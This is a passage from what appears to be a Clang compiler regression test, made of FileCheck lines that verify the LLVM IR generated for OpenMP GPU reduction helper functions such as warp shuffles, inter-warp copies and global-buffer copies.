// CHECK6: else9: // CHECK6-NEXT: br label [[IFCONT10]] // CHECK6: ifcont10: // CHECK6-NEXT: call void @__kmpc_barrier(%struct.ident_t* @[[GLOB4]], i32 [[TMP2]]) // CHECK6-NEXT: [[TMP22:%.*]] = load i32, i32* [[DOTADDR1]], align 4 // CHECK6-NEXT: [[IS_ACTIVE_THREAD11:%.*]] = icmp ult i32 [[NVPTX_TID]], [[TMP22]] // CHECK6-NEXT: br i1 [[IS_ACTIVE_THREAD11]], label [[THEN12:%.*]], label [[ELSE13:%.*]] // CHECK6: then12: // CHECK6-NEXT: [[TMP23:%.*]] = getelementptr inbounds [32 x i32], [32 x i32] addrspace(3)* @__openmp_nvptx_data_transfer_temporary_storage, i64 0, i32 [[NVPTX_TID]] // CHECK6-NEXT: [[TMP24:%.*]] = bitcast i32 addrspace(3)* [[TMP23]] to i16 addrspace(3)* // CHECK6-NEXT: [[TMP25:%.*]] = getelementptr inbounds [2 x i8*], [2 x i8*]* [[TMP4]], i32 0, i32 1 // CHECK6-NEXT: [[TMP26:%.*]] = load i8*, i8** [[TMP25]], align 4 // CHECK6-NEXT: [[TMP27:%.*]] = bitcast i8* [[TMP26]] to i16* // CHECK6-NEXT: [[TMP28:%.*]] = load volatile i16, i16 addrspace(3)* [[TMP24]], align 2 // CHECK6-NEXT: store i16 [[TMP28]], i16* [[TMP27]], align 2 // CHECK6-NEXT: br label [[IFCONT14:%.*]] // CHECK6: else13: // CHECK6-NEXT: br label [[IFCONT14]] // CHECK6: ifcont14: // CHECK6-NEXT: ret void // CHECK6-LABEL: define {{[^@]+}}@_omp_reduction_shuffle_and_reduce_func15 // CHECK6-SAME: (i8* [[TMP0:%.*]], i16 signext [[TMP1:%.*]], i16 signext [[TMP2:%.*]], i16 signext [[TMP3:%.*]]) #[[ATTR0]] { // CHECK6-NEXT: entry: // CHECK6-NEXT: [[DOTADDR:%.*]] = alloca i8*, align 4 // CHECK6-NEXT: [[DOTADDR1:%.*]] = alloca i16, align 2 // CHECK6-NEXT: [[DOTADDR2:%.*]] = alloca i16, align 2 // CHECK6-NEXT: [[DOTADDR3:%.*]] = alloca i16, align 2 // CHECK6-NEXT: [[DOTOMP_REDUCTION_REMOTE_REDUCE_LIST:%.*]] = alloca [2 x i8*], align 4 // CHECK6-NEXT: [[DOTOMP_REDUCTION_ELEMENT:%.*]] = alloca i32, align 4 // CHECK6-NEXT: [[DOTOMP_REDUCTION_ELEMENT4:%.*]] = alloca i16, align 2 // CHECK6-NEXT: store i8* [[TMP0]], i8** [[DOTADDR]], align 4 // CHECK6-NEXT: store i16 [[TMP1]], i16* [[DOTADDR1]], align 2 // CHECK6-NEXT: store i16 [[TMP2]], i16* [[DOTADDR2]], align 2 // CHECK6-NEXT: store i16 [[TMP3]], i16* [[DOTADDR3]], align 2 // CHECK6-NEXT: [[TMP4:%.*]] = load i8*, i8** [[DOTADDR]], align 4 // CHECK6-NEXT: [[TMP5:%.*]] = bitcast i8* [[TMP4]] to [2 x i8*]* // CHECK6-NEXT: [[TMP6:%.*]] = load i16, i16* [[DOTADDR1]], align 2 // CHECK6-NEXT: [[TMP7:%.*]] = load i16, i16* [[DOTADDR2]], align 2 // CHECK6-NEXT: [[TMP8:%.*]] = load i16, i16* [[DOTADDR3]], align 2 // CHECK6-NEXT: [[TMP9:%.*]] = getelementptr inbounds [2 x i8*], [2 x i8*]* [[TMP5]], i32 0, i32 0 // CHECK6-NEXT: [[TMP10:%.*]] = load i8*, i8** [[TMP9]], align 4 // CHECK6-NEXT: [[TMP11:%.*]] = getelementptr inbounds [2 x i8*], [2 x i8*]* [[DOTOMP_REDUCTION_REMOTE_REDUCE_LIST]], i32 0, i32 0 // CHECK6-NEXT: [[TMP12:%.*]] = bitcast i8* [[TMP10]] to i32* // CHECK6-NEXT: [[TMP13:%.*]] = getelementptr i32, i32* [[TMP12]], i32 1 // CHECK6-NEXT: [[TMP14:%.*]] = bitcast i32* [[TMP13]] to i8* // CHECK6-NEXT: [[TMP15:%.*]] = load i32, i32* [[TMP12]], align 4 // CHECK6-NEXT: [[NVPTX_WARP_SIZE:%.*]] = call i32 @llvm.nvvm.read.ptx.sreg.warpsize() // CHECK6-NEXT: [[TMP16:%.*]] = trunc i32 [[NVPTX_WARP_SIZE]] to i16 // CHECK6-NEXT: [[TMP17:%.*]] = call i32 @__kmpc_shuffle_int32(i32 [[TMP15]], i16 [[TMP7]], i16 [[TMP16]]) // CHECK6-NEXT: store i32 [[TMP17]], i32* [[DOTOMP_REDUCTION_ELEMENT]], align 4 // CHECK6-NEXT: [[TMP18:%.*]] = getelementptr i32, i32* [[TMP12]], i32 1 // CHECK6-NEXT: [[TMP19:%.*]] = getelementptr i32, i32* [[DOTOMP_REDUCTION_ELEMENT]], i32 1 // CHECK6-NEXT: [[TMP20:%.*]] = bitcast i32* [[DOTOMP_REDUCTION_ELEMENT]] to i8* // CHECK6-NEXT: store i8* [[TMP20]], i8** [[TMP11]], align 4 // CHECK6-NEXT: [[TMP21:%.*]] = getelementptr inbounds [2 x i8*], [2 x i8*]* [[TMP5]], i32 0, i32 1 // CHECK6-NEXT: [[TMP22:%.*]] = load i8*, i8** [[TMP21]], align 4 // CHECK6-NEXT: [[TMP23:%.*]] = getelementptr inbounds [2 x i8*], [2 x i8*]* [[DOTOMP_REDUCTION_REMOTE_REDUCE_LIST]], i32 0, i32 1 // CHECK6-NEXT: [[TMP24:%.*]] = bitcast i8* [[TMP22]] to i16* // CHECK6-NEXT: [[TMP25:%.*]] = getelementptr i16, i16* [[TMP24]], i32 1 // CHECK6-NEXT: [[TMP26:%.*]] = bitcast i16* [[TMP25]] to i8* // CHECK6-NEXT: [[TMP27:%.*]] = load i16, i16* [[TMP24]], align 2 // CHECK6-NEXT: [[TMP28:%.*]] = sext i16 [[TMP27]] to i32 // CHECK6-NEXT: [[NVPTX_WARP_SIZE5:%.*]] = call i32 @llvm.nvvm.read.ptx.sreg.warpsize() // CHECK6-NEXT: [[TMP29:%.*]] = trunc i32 [[NVPTX_WARP_SIZE5]] to i16 // CHECK6-NEXT: [[TMP30:%.*]] = call i32 @__kmpc_shuffle_int32(i32 [[TMP28]], i16 [[TMP7]], i16 [[TMP29]]) // CHECK6-NEXT: [[TMP31:%.*]] = trunc i32 [[TMP30]] to i16 // CHECK6-NEXT: store i16 [[TMP31]], i16* [[DOTOMP_REDUCTION_ELEMENT4]], align 2 // CHECK6-NEXT: [[TMP32:%.*]] = getelementptr i16, i16* [[TMP24]], i32 1 // CHECK6-NEXT: [[TMP33:%.*]] = getelementptr i16, i16* [[DOTOMP_REDUCTION_ELEMENT4]], i32 1 // CHECK6-NEXT: [[TMP34:%.*]] = bitcast i16* [[DOTOMP_REDUCTION_ELEMENT4]] to i8* // CHECK6-NEXT: store i8* [[TMP34]], i8** [[TMP23]], align 4 // CHECK6-NEXT: [[TMP35:%.*]] = icmp eq i16 [[TMP8]], 0 // CHECK6-NEXT: [[TMP36:%.*]] = icmp eq i16 [[TMP8]], 1 // CHECK6-NEXT: [[TMP37:%.*]] = icmp ult i16 [[TMP6]], [[TMP7]] // CHECK6-NEXT: [[TMP38:%.*]] = and i1 [[TMP36]], [[TMP37]] // CHECK6-NEXT: [[TMP39:%.*]] = icmp eq i16 [[TMP8]], 2 // CHECK6-NEXT: [[TMP40:%.*]] = and i16 [[TMP6]], 1 // CHECK6-NEXT: [[TMP41:%.*]] = icmp eq i16 [[TMP40]], 0 // CHECK6-NEXT: [[TMP42:%.*]] = and i1 [[TMP39]], [[TMP41]] // CHECK6-NEXT: [[TMP43:%.*]] = icmp sgt i16 [[TMP7]], 0 // CHECK6-NEXT: [[TMP44:%.*]] = and i1 [[TMP42]], [[TMP43]] // CHECK6-NEXT: [[TMP45:%.*]] = or i1 [[TMP35]], [[TMP38]] // CHECK6-NEXT: [[TMP46:%.*]] = or i1 [[TMP45]], [[TMP44]] // CHECK6-NEXT: br i1 [[TMP46]], label [[THEN:%.*]], label [[ELSE:%.*]] // CHECK6: then: // CHECK6-NEXT: [[TMP47:%.*]] = bitcast [2 x i8*]* [[TMP5]] to i8* // CHECK6-NEXT: [[TMP48:%.*]] = bitcast [2 x i8*]* [[DOTOMP_REDUCTION_REMOTE_REDUCE_LIST]] to i8* // CHECK6-NEXT: call void @"_omp$reduction$reduction_func14"(i8* [[TMP47]], i8* [[TMP48]]) #[[ATTR3]] // CHECK6-NEXT: br label [[IFCONT:%.*]] // CHECK6: else: // CHECK6-NEXT: br label [[IFCONT]] // CHECK6: ifcont: // CHECK6-NEXT: [[TMP49:%.*]] = icmp eq i16 [[TMP8]], 1 // CHECK6-NEXT: [[TMP50:%.*]] = icmp uge i16 [[TMP6]], [[TMP7]] // CHECK6-NEXT: [[TMP51:%.*]] = and i1 [[TMP49]], [[TMP50]] // CHECK6-NEXT: br i1 [[TMP51]], label [[THEN6:%.*]], label [[ELSE7:%.*]] // CHECK6: then6: // CHECK6-NEXT: [[TMP52:%.*]] = getelementptr inbounds [2 x i8*], [2 x i8*]* [[DOTOMP_REDUCTION_REMOTE_REDUCE_LIST]], i32 0, i32 0 // CHECK6-NEXT: [[TMP53:%.*]] = load i8*, i8** [[TMP52]], align 4 // CHECK6-NEXT: [[TMP54:%.*]] = getelementptr inbounds [2 x i8*], [2 x i8*]* [[TMP5]], i32 0, i32 0 // CHECK6-NEXT: [[TMP55:%.*]] = load i8*, i8** [[TMP54]], align 4 // CHECK6-NEXT: [[TMP56:%.*]] = bitcast i8* [[TMP53]] to i32* // CHECK6-NEXT: [[TMP57:%.*]] = bitcast i8* [[TMP55]] to i32* // CHECK6-NEXT: [[TMP58:%.*]] = load i32, i32* [[TMP56]], align 4 // CHECK6-NEXT: store i32 [[TMP58]], i32* [[TMP57]], align 4 // CHECK6-NEXT: [[TMP59:%.*]] = getelementptr inbounds [2 x i8*], [2 x i8*]* [[DOTOMP_REDUCTION_REMOTE_REDUCE_LIST]], i32 0, i32 1 // CHECK6-NEXT: [[TMP60:%.*]] = load i8*, i8** [[TMP59]], align 4 // CHECK6-NEXT: [[TMP61:%.*]] = getelementptr inbounds [2 x i8*], [2 x i8*]* [[TMP5]], i32 0, i32 1 // CHECK6-NEXT: [[TMP62:%.*]] = load i8*, i8** [[TMP61]], align 4 // CHECK6-NEXT: [[TMP63:%.*]] = bitcast i8* [[TMP60]] to i16* // CHECK6-NEXT: [[TMP64:%.*]] = bitcast i8* [[TMP62]] to i16* // CHECK6-NEXT: [[TMP65:%.*]] = load i16, i16* [[TMP63]], align 2 // CHECK6-NEXT: store i16 [[TMP65]], i16* [[TMP64]], align 2 // CHECK6-NEXT: br label [[IFCONT8:%.*]] // CHECK6: else7: // CHECK6-NEXT: br label [[IFCONT8]] // CHECK6: ifcont8: // CHECK6-NEXT: ret void // CHECK6-LABEL: define {{[^@]+}}@_omp_reduction_inter_warp_copy_func16 // CHECK6-SAME: (i8* [[TMP0:%.*]], i32 [[TMP1:%.*]]) #[[ATTR0]] { // CHECK6-NEXT: entry: // CHECK6-NEXT: [[DOTADDR:%.*]] = alloca i8*, align 4 // CHECK6-NEXT: [[DOTADDR1:%.*]] = alloca i32, align 4 // CHECK6-NEXT: [[TMP2:%.*]] = call i32 @__kmpc_global_thread_num(%struct.ident_t* @[[GLOB3]]) // CHECK6-NEXT: store i8* [[TMP0]], i8** [[DOTADDR]], align 4 // CHECK6-NEXT: store i32 [[TMP1]], i32* [[DOTADDR1]], align 4 // CHECK6-NEXT: [[NVPTX_TID:%.*]] = call i32 @llvm.nvvm.read.ptx.sreg.tid.x() // CHECK6-NEXT: [[NVPTX_TID2:%.*]] = call i32 @llvm.nvvm.read.ptx.sreg.tid.x() // CHECK6-NEXT: [[NVPTX_LANE_ID:%.*]] = and i32 [[NVPTX_TID2]], 31 // CHECK6-NEXT: [[NVPTX_TID3:%.*]] = call i32 @llvm.nvvm.read.ptx.sreg.tid.x() // CHECK6-NEXT: [[NVPTX_WARP_ID:%.*]] = ashr i32 [[NVPTX_TID3]], 5 // CHECK6-NEXT: [[TMP3:%.*]] = load i8*, i8** [[DOTADDR]], align 4 // CHECK6-NEXT: [[TMP4:%.*]] = bitcast i8* [[TMP3]] to [2 x i8*]* // CHECK6-NEXT: call void @__kmpc_barrier(%struct.ident_t* @[[GLOB4]], i32 [[TMP2]]) // CHECK6-NEXT: [[WARP_MASTER:%.*]] = icmp eq i32 [[NVPTX_LANE_ID]], 0 // CHECK6-NEXT: br i1 [[WARP_MASTER]], label [[THEN:%.*]], label [[ELSE:%.*]] // CHECK6: then: // CHECK6-NEXT: [[TMP5:%.*]] = getelementptr inbounds [2 x i8*], [2 x i8*]* [[TMP4]], i32 0, i32 0 // CHECK6-NEXT: [[TMP6:%.*]] = load i8*, i8** [[TMP5]], align 4 // CHECK6-NEXT: [[TMP7:%.*]] = bitcast i8* [[TMP6]] to i32* // CHECK6-NEXT: [[TMP8:%.*]] = getelementptr inbounds [32 x i32], [32 x i32] addrspace(3)* @__openmp_nvptx_data_transfer_temporary_storage, i64 0, i32 [[NVPTX_WARP_ID]] // CHECK6-NEXT: [[TMP9:%.*]] = load i32, i32* [[TMP7]], align 4 // CHECK6-NEXT: store volatile i32 [[TMP9]], i32 addrspace(3)* [[TMP8]], align 4 // CHECK6-NEXT: br label [[IFCONT:%.*]] // CHECK6: else: // CHECK6-NEXT: br label [[IFCONT]] // CHECK6: ifcont: // CHECK6-NEXT: call void @__kmpc_barrier(%struct.ident_t* @[[GLOB4]], i32 [[TMP2]]) // CHECK6-NEXT: [[TMP10:%.*]] = load i32, i32* [[DOTADDR1]], align 4 // CHECK6-NEXT: [[IS_ACTIVE_THREAD:%.*]] = icmp ult i32 [[NVPTX_TID]], [[TMP10]] // CHECK6-NEXT: br i1 [[IS_ACTIVE_THREAD]], label [[THEN4:%.*]], label [[ELSE5:%.*]] // CHECK6: then4: // CHECK6-NEXT: [[TMP11:%.*]] = getelementptr inbounds [32 x i32], [32 x i32] addrspace(3)* @__openmp_nvptx_data_transfer_temporary_storage, i64 0, i32 [[NVPTX_TID]] // CHECK6-NEXT: [[TMP12:%.*]] = getelementptr inbounds [2 x i8*], [2 x i8*]* [[TMP4]], i32 0, i32 0 // CHECK6-NEXT: [[TMP13:%.*]] = load i8*, i8** [[TMP12]], align 4 // CHECK6-NEXT: [[TMP14:%.*]] = bitcast i8* [[TMP13]] to i32* // CHECK6-NEXT: [[TMP15:%.*]] = load volatile i32, i32 addrspace(3)* [[TMP11]], align 4 // CHECK6-NEXT: store i32 [[TMP15]], i32* [[TMP14]], align 4 // CHECK6-NEXT: br label [[IFCONT6:%.*]] // CHECK6: else5: // CHECK6-NEXT: br label [[IFCONT6]] // CHECK6: ifcont6: // CHECK6-NEXT: call void @__kmpc_barrier(%struct.ident_t* @[[GLOB4]], i32 [[TMP2]]) // CHECK6-NEXT: [[WARP_MASTER7:%.*]] = icmp eq i32 [[NVPTX_LANE_ID]], 0 // CHECK6-NEXT: br i1 [[WARP_MASTER7]], label [[THEN8:%.*]], label [[ELSE9:%.*]] // CHECK6: then8: // CHECK6-NEXT: [[TMP16:%.*]] = getelementptr inbounds [2 x i8*], [2 x i8*]* [[TMP4]], i32 0, i32 1 // CHECK6-NEXT: [[TMP17:%.*]] = load i8*, i8** [[TMP16]], align 4 // CHECK6-NEXT: [[TMP18:%.*]] = bitcast i8* [[TMP17]] to i16* // CHECK6-NEXT: [[TMP19:%.*]] = getelementptr inbounds [32 x i32], [32 x i32] addrspace(3)* @__openmp_nvptx_data_transfer_temporary_storage, i64 0, i32 [[NVPTX_WARP_ID]] // CHECK6-NEXT: [[TMP20:%.*]] = bitcast i32 addrspace(3)* [[TMP19]] to i16 addrspace(3)* // CHECK6-NEXT: [[TMP21:%.*]] = load i16, i16* [[TMP18]], align 2 // CHECK6-NEXT: store volatile i16 [[TMP21]], i16 addrspace(3)* [[TMP20]], align 2 // CHECK6-NEXT: br label [[IFCONT10:%.*]] // CHECK6: else9: // CHECK6-NEXT: br label [[IFCONT10]] // CHECK6: ifcont10: // CHECK6-NEXT: call void @__kmpc_barrier(%struct.ident_t* @[[GLOB4]], i32 [[TMP2]]) // CHECK6-NEXT: [[TMP22:%.*]] = load i32, i32* [[DOTADDR1]], align 4 // CHECK6-NEXT: [[IS_ACTIVE_THREAD11:%.*]] = icmp ult i32 [[NVPTX_TID]], [[TMP22]] // CHECK6-NEXT: br i1 [[IS_ACTIVE_THREAD11]], label [[THEN12:%.*]], label [[ELSE13:%.*]] // CHECK6: then12: // CHECK6-NEXT: [[TMP23:%.*]] = getelementptr inbounds [32 x i32], [32 x i32] addrspace(3)* @__openmp_nvptx_data_transfer_temporary_storage, i64 0, i32 [[NVPTX_TID]] // CHECK6-NEXT: [[TMP24:%.*]] = bitcast i32 addrspace(3)* [[TMP23]] to i16 addrspace(3)* // CHECK6-NEXT: [[TMP25:%.*]] = getelementptr inbounds [2 x i8*], [2 x i8*]* [[TMP4]], i32 0, i32 1 // CHECK6-NEXT: [[TMP26:%.*]] = load i8*, i8** [[TMP25]], align 4 // CHECK6-NEXT: [[TMP27:%.*]] = bitcast i8* [[TMP26]] to i16* // CHECK6-NEXT: [[TMP28:%.*]] = load volatile i16, i16 addrspace(3)* [[TMP24]], align 2 // CHECK6-NEXT: store i16 [[TMP28]], i16* [[TMP27]], align 2 // CHECK6-NEXT: br label [[IFCONT14:%.*]] // CHECK6: else13: // CHECK6-NEXT: br label [[IFCONT14]] // CHECK6: ifcont14: // CHECK6-NEXT: ret void // CHECK6-LABEL: define {{[^@]+}}@_omp_reduction_list_to_global_copy_func17 // CHECK6-SAME: (i8* [[TMP0:%.*]], i32 [[TMP1:%.*]], i8* [[TMP2:%.*]]) #[[ATTR0]] { // CHECK6-NEXT: entry: // CHECK6-NEXT: [[DOTADDR:%.*]] = alloca i8*, align 4 // CHECK6-NEXT: [[DOTADDR1:%.*]] = alloca i32, align 4 // CHECK6-NEXT: [[DOTADDR2:%.*]] = alloca i8*, align 4 // CHECK6-NEXT: store i8* [[TMP0]], i8** [[DOTADDR]], align 4 // CHECK6-NEXT: store i32 [[TMP1]], i32* [[DOTADDR1]], align 4 // CHECK6-NEXT: store i8* [[TMP2]], i8** [[DOTADDR2]], align 4 // CHECK6-NEXT: [[TMP3:%.*]] = load i8*, i8** [[DOTADDR2]], align 4 // CHECK6-NEXT: [[TMP4:%.*]] = bitcast i8* [[TMP3]] to [2 x i8*]* // CHECK6-NEXT: [[TMP5:%.*]] = load i8*, i8** [[DOTADDR]], align 4 // CHECK6-NEXT: [[TMP6:%.*]] = bitcast i8* [[TMP5]] to %struct._globalized_locals_ty.4* // CHECK6-NEXT: [[TMP7:%.*]] = load i32, i32* [[DOTADDR1]], align 4 // CHECK6-NEXT: [[TMP8:%.*]] = getelementptr inbounds [2 x i8*], [2 x i8*]* [[TMP4]], i32 0, i32 0 // CHECK6-NEXT: [[TMP9:%.*]] = load i8*, i8** [[TMP8]], align 4 // CHECK6-NEXT: [[TMP10:%.*]] = bitcast i8* [[TMP9]] to i32* // CHECK6-NEXT: [[A:%.*]] = getelementptr inbounds [[STRUCT__GLOBALIZED_LOCALS_TY_4:%.*]], %struct._globalized_locals_ty.4* [[TMP6]], i32 0, i32 0 // CHECK6-NEXT: [[TMP11:%.*]] = getelementptr inbounds [2048 x i32], [2048 x i32]* [[A]], i32 0, i32 [[TMP7]] // CHECK6-NEXT: [[TMP12:%.*]] = load i32, i32* [[TMP10]], align 4 // CHECK6-NEXT: store i32 [[TMP12]], i32* [[TMP11]], align 128 // CHECK6-NEXT: [[TMP13:%.*]] = getelementptr inbounds [2 x i8*], [2 x i8*]* [[TMP4]], i32 0, i32 1 // CHECK6-NEXT: [[TMP14:%.*]] = load i8*, i8** [[TMP13]], align 4 // CHECK6-NEXT: [[TMP15:%.*]] = bitcast i8* [[TMP14]] to i16* // CHECK6-NEXT: [[B:%.*]] = getelementptr inbounds [[STRUCT__GLOBALIZED_LOCALS_TY_4]], %struct._globalized_locals_ty.4* [[TMP6]], i32 0, i32 1 // CHECK6-NEXT: [[TMP16:%.*]] = getelementptr inbounds [2048 x i16], [2048 x i16]* [[B]], i32 0, i32 [[TMP7]] // CHECK6-NEXT: [[TMP17:%.*]] = load i16, i16* [[TMP15]], align 2 // CHECK6-NEXT: store i16 [[TMP17]], i16* [[TMP16]], align 128 // CHECK6-NEXT: ret void // CHECK6-LABEL: define {{[^@]+}}@_omp_reduction_list_to_global_reduce_func18 // CHECK6-SAME: (i8* [[TMP0:%.*]], i32 [[TMP1:%.*]], i8* [[TMP2:%.*]]) #[[ATTR0]] { // CHECK6-NEXT: entry: // CHECK6-NEXT: [[DOTADDR:%.*]] = alloca i8*, align 4 // CHECK6-NEXT: [[DOTADDR1:%.*]] = alloca i32, align 4 // CHECK6-NEXT: [[DOTADDR2:%.*]] = alloca i8*, align 4 // CHECK6-NEXT: [[DOTOMP_REDUCTION_RED_LIST:%.*]] = alloca [2 x i8*], align 4 // CHECK6-NEXT: store i8* [[TMP0]], i8** [[DOTADDR]], align 4 // CHECK6-NEXT: store i32 [[TMP1]], i32* [[DOTADDR1]], align 4 // CHECK6-NEXT: store i8* [[TMP2]], i8** [[DOTADDR2]], align 4 // CHECK6-NEXT: [[TMP3:%.*]] = load i8*, i8** [[DOTADDR]], align 4 // CHECK6-NEXT: [[TMP4:%.*]] = bitcast i8* [[TMP3]] to %struct._globalized_locals_ty.4* // CHECK6-NEXT: [[TMP5:%.*]] = load i32, i32* [[DOTADDR1]], align 4 // CHECK6-NEXT: [[TMP6:%.*]] = getelementptr inbounds [2 x i8*], [2 x i8*]* [[DOTOMP_REDUCTION_RED_LIST]], i32 0, i32 0 // CHECK6-NEXT: [[A:%.*]] = getelementptr inbounds [[STRUCT__GLOBALIZED_LOCALS_TY_4:%.*]], %struct._globalized_locals_ty.4* [[TMP4]], i32 0, i32 0 // CHECK6-NEXT: [[TMP7:%.*]] = getelementptr inbounds [2048 x i32], [2048 x i32]* [[A]], i32 0, i32 [[TMP5]] // CHECK6-NEXT: [[TMP8:%.*]] = bitcast i32* [[TMP7]] to i8* // CHECK6-NEXT: store i8* [[TMP8]], i8** [[TMP6]], align 4 // CHECK6-NEXT: [[TMP9:%.*]] = getelementptr inbounds [2 x i8*], [2 x i8*]* [[DOTOMP_REDUCTION_RED_LIST]], i32 0, i32 1 // CHECK6-NEXT: [[B:%.*]] = getelementptr inbounds [[STRUCT__GLOBALIZED_LOCALS_TY_4]], %struct._globalized_locals_ty.4* [[TMP4]], i32 0, i32 1 // CHECK6-NEXT: [[TMP10:%.*]] = getelementptr inbounds [2048 x i16], [2048 x i16]* [[B]], i32 0, i32 [[TMP5]] // CHECK6-NEXT: [[TMP11:%.*]] = bitcast i16* [[TMP10]] to i8* // CHECK6-NEXT: store i8* [[TMP11]], i8** [[TMP9]], align 4 // CHECK6-NEXT: [[TMP12:%.*]] = bitcast [2 x i8*]* [[DOTOMP_REDUCTION_RED_LIST]] to i8* // CHECK6-NEXT: [[TMP13:%.*]] = load i8*, i8** [[DOTADDR2]], align 4 // CHECK6-NEXT: call void @"_omp$reduction$reduction_func14"(i8* [[TMP12]], i8* [[TMP13]]) #[[ATTR3]] // CHECK6-NEXT: ret void // CHECK6-LABEL: define {{[^@]+}}@_omp_reduction_global_to_list_copy_func19 // CHECK6-SAME: (i8* [[TMP0:%.*]], i32 [[TMP1:%.*]], i8* [[TMP2:%.*]]) #[[ATTR0]] { // CHECK6-NEXT: entry: // CHECK6-NEXT: [[DOTADDR:%.*]] = alloca i8*, align 4 // CHECK6-NEXT: [[DOTADDR1:%.*]] = alloca i32, align 4 // CHECK6-NEXT: [[DOTADDR2:%.*]] = alloca i8*, align 4 // CHECK6-NEXT: store i8* [[TMP0]], i8** [[DOTADDR]], align 4 // CHECK6-NEXT: store i32 [[TMP1]], i32* [[DOTADDR1]], align 4 // CHECK6-NEXT: store i8* [[TMP2]], i8** [[DOTADDR2]], align 4 // CHECK6-NEXT: [[TMP3:%.*]] = load i8*, i8** [[DOTADDR2]], align 4 // CHECK6-NEXT: [[TMP4:%.*]] = bitcast i8* [[TMP3]] to [2 x i8*]* // CHECK6-NEXT: [[TMP5:%.*]] = load i8*, i8** [[DOTADDR]], align 4 // CHECK6-NEXT: [[TMP6:%.*]] = bitcast i8* [[TMP5]] to %struct._globalized_locals_ty.4* // CHECK6-NEXT: [[TMP7:%.*]] = load i32, i32* [[DOTADDR1]], align 4 // CHECK6-NEXT: [[TMP8:%.*]] = getelementptr inbounds [2 x i8*], [2 x i8*]* [[TMP4]], i32 0, i32 0 // CHECK6-NEXT: [[TMP9:%.*]] = load i8*, i8** [[TMP8]], align 4 // CHECK6-NEXT: [[TMP10:%.*]] = bitcast i8* [[TMP9]] to i32* // CHECK6-NEXT: [[A:%.*]] = getelementptr inbounds [[STRUCT__GLOBALIZED_LOCALS_TY_4:%.*]], %struct._globalized_locals_ty.4* [[TMP6]], i32 0, i32 0 // CHECK6-NEXT: [[TMP11:%.*]] = getelementptr inbounds [2048 x i32], [2048 x i32]* [[A]], i32 0, i32 [[TMP7]] // CHECK6-NEXT: [[TMP12:%.*]] = load i32, i32* [[TMP11]], align 128 // CHECK6-NEXT: store i32 [[TMP12]], i32* [[TMP10]], align 4 // CHECK6-NEXT: [[TMP13:%.*]] = getelementptr inbounds [2 x i8*], [2 x i8*]* [[TMP4]], i32 0, i32 1 // CHECK6-NEXT: [[TMP14:%.*]] = load i8*, i8** [[TMP13]], align 4 // CHECK6-NEXT: [[TMP15:%.*]] = bitcast i8* [[TMP14]] to i16* // CHECK6-NEXT: [[B:%.*]] = getelementptr inbounds [[STRUCT__GLOBALIZED_LOCALS_TY_4]], %struct._globalized_locals_ty.4* [[TMP6]], i32 0, i32 1 // CHECK6-NEXT: [[TMP16:%.*]] = getelementptr inbounds [2048 x i16], [2048 x i16]* [[B]], i32 0, i32 [[TMP7]] // CHECK6-NEXT: [[TMP17:%.*]] = load i16, i16* [[TMP16]], align 128 // CHECK6-NEXT: store i16 [[TMP17]], i16* [[TMP15]], align 2 // CHECK6-NEXT: ret void // CHECK6-LABEL: define {{[^@]+}}@_omp_reduction_global_to_list_reduce_func20 // CHECK6-SAME: (i8* [[TMP0:%.*]], i32 [[TMP1:%.*]], i8* [[TMP2:%.*]]) #[[ATTR0]] { // CHECK6-NEXT: entry: // CHECK6-NEXT: [[DOTADDR:%.*]] = alloca i8*, align 4 // CHECK6-NEXT: [[DOTADDR1:%.*]] = alloca i32, align 4 // CHECK6-NEXT: [[DOTADDR2:%.*]] = alloca i8*, align 4 // CHECK6-NEXT: [[DOTOMP_REDUCTION_RED_LIST:%.*]] = alloca [2 x i8*], align 4 // CHECK6-NEXT: store i8* [[TMP0]], i8** [[DOTADDR]], align 4 // CHECK6-NEXT: store i32 [[TMP1]], i32* [[DOTADDR1]], align 4 // CHECK6-NEXT: store i8* [[TMP2]], i8** [[DOTADDR2]], align 4 // CHECK6-NEXT: [[TMP3:%.*]] = load i8*, i8** [[DOTADDR]], align 4 // CHECK6-NEXT: [[TMP4:%.*]] = bitcast i8* [[TMP3]] to %struct._globalized_locals_ty.4* // CHECK6-NEXT: [[TMP5:%.*]] = load i32, i32* [[DOTADDR1]], align 4 // CHECK6-NEXT: [[TMP6:%.*]] = getelementptr inbounds [2 x i8*], [2 x i8*]* [[DOTOMP_REDUCTION_RED_LIST]], i32 0, i32 0 // CHECK6-NEXT: [[A:%.*]] = getelementptr inbounds [[STRUCT__GLOBALIZED_LOCALS_TY_4:%.*]], %struct._globalized_locals_ty.4* [[TMP4]], i32 0, i32 0 // CHECK6-NEXT: [[TMP7:%.*]] = getelementptr inbounds [2048 x i32], [2048 x i32]* [[A]], i32 0, i32 [[TMP5]] // CHECK6-NEXT: [[TMP8:%.*]] = bitcast i32* [[TMP7]] to i8* // CHECK6-NEXT: store i8* [[TMP8]], i8** [[TMP6]], align 4 // CHECK6-NEXT: [[TMP9:%.*]] = getelementptr inbounds [2 x i8*], [2 x i8*]* [[DOTOMP_REDUCTION_RED_LIST]], i32 0, i32 1 // CHECK6-NEXT: [[B:%.*]] = getelementptr inbounds [[STRUCT__GLOBALIZED_LOCALS_TY_4]], %struct._globalized_locals_ty.4* [[TMP4]], i32 0, i32 1 // CHECK6-NEXT: [[TMP10:%.*]] = getelementptr inbounds [2048 x i16], [2048 x i16]* [[B]], i32 0, i32 [[TMP5]] // CHECK6-NEXT: [[TMP11:%.*]] = bitcast i16* [[TMP10]] to i8* // CHECK6-NEXT: store i8* [[TMP11]], i8** [[TMP9]], align 4 // CHECK6-NEXT: [[TMP12:%.*]] = bitcast [2 x i8*]* [[DOTOMP_REDUCTION_RED_LIST]] to i8* // CHECK6-NEXT: [[TMP13:%.*]] = load i8*, i8** [[DOTADDR2]], align 4 // CHECK6-NEXT: call void @"_omp$reduction$reduction_func14"(i8* [[TMP13]], i8* [[TMP12]]) #[[ATTR3]] // CHECK6-NEXT: ret void // CHECK1-LABEL: define {{[^@]+}}@{{__omp_offloading_[0-9a-z]+_[0-9a-z]+}}__Z9ftemplateIcET_i_l20 // CHECK1-SAME: (i64 [[E:%.*]]) #[[ATTR0:[0-9]+]] { // CHECK1-NEXT: entry: // CHECK1-NEXT: [[E_ADDR:%.*]] = alloca i64, align 8 // CHECK1-NEXT: [[DOTZERO_ADDR:%.*]] = alloca i32, align 4 // CHECK1-NEXT: [[DOTTHREADID_TEMP_:%.*]] = alloca i32, align 4 // CHECK1-NEXT: store i64 [[E]], i64* [[E_ADDR]], align 8 // CHECK1-NEXT: [[CONV:%.*]] = bitcast i64* [[E_ADDR]] to double* // CHECK1-NEXT: [[TMP0:%.*]] = call i32 